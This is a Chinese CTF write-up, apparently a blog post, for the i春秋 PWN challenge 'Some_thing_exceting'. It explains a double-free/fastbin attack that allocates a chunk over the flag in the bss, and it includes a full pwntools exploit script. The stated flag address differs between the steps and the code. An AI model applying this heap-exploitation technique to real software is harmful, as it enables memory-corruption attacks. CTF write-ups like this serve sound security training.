i春秋新春战役PWN之Some_thing_exceting

心好累,堆处入手,看明白了,可是总是复盘实现不了。。。不过学长那边可以,是我机子的问题??

题目链接:https://pan.baidu.com/s/1Tv5Y4ieNVEasZ8oAYYn2Lw   提取码:5td6

 

文件查看一下

 

拿到程序发现运行不了,查看文件属性,发现没有执行权限,加一个执行权限

执行不了

因为程序要打开/flag(根目录下flag)文件

没有就自动退出了,所以创建

 

 

程序主要有三个功能,增加、删除、查看

 

delete函数中,指针使用完没有置0,所以存在uaf和double free漏洞

 

程序一开始运行时候,flag就已经读入程序,在s中,位置在bss段

而且,flag这里刚好为我们预留了一个大小为0x60的块,所以我们应该利用double free申请到这块内存,然后show()输出即可

 

总结思路(error404的ppt):

1.首先一次free掉chunk1、chunk2、chunk1,每个chunk的大小均为0x50

2.写入chunk1的fd指针为0x6020A8(flag的位置)

3.将0x6020A8处作为chunk的data域分配出来(因为程序unuse的fd指针在inuse的时候就是data域,是复用内存了)

4.利用show函数打印出flag

//exp
#coding:utf-8
from pwn import *
import sys
p = process('./excited')
context.arch='amd64'
libc=ELF("./excited").libc

def new(size1,content1,size2,content2):
    p.recvuntil('> Now please tell me what you want to do :')
    p.sendline('1')
    p.recvuntil('length : ')
    p.sendline(str(size1))
    p.recvuntil('> ba : ')
    p.send(content1)
    p.recvuntil('length : ')
    p.sendline(str(size2))
    p.recvuntil('> na : ')
    p.send(content2)

def delete(idx):
    p.recvuntil(' Now please tell me what you want to do :')
    p.sendline('3')
    p.recvuntil(' ID : ')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('ow please tell me what you want to do :')
    p.sendline('4')
    p.recvuntil('ID : ')
    p.sendline(str(idx))

new(0x50,'Chunk_1',0x50,'Chunk_2')#0
new(0x50,'Chunk_3',0x50,'Chunk_4')#1
delete(0)
delete(1)
delete(0)
new(0x50,p64(0x602098),0x50,'Chunk_2')#2
new(0x50,'Chunk_3',0x50,'Chunk_4')#3
new(0x50,'f',0x60,'2')#4
show(4)
p.interactive()
p.close()

参考博客:

(1)https://www.anquanke.com/post/id/199540#h2-16

(2)https://nocbtm.github.io/2020/02/22/2020-i%E6%98%A5%E7%A7%8B%E5%85%AC%E7%9B%8A%E8%B5%9Bpwn-writeup/#Some-thing-exceting

(3)https://xz.aliyun.com/t/7281


再次做这题,,,easy,TAT,以前不懂环境哇,,,

做这题,,,

1.思路,只要将块申请到0x6020a0的地方,打印即可

2.free不干净,存在double free,故可以free(0) -> free(1) -> free(0),然后重新申请回来,则修改chunk2的时候,再申请chunk4就是想要的地址。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

书文的学习记录本

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值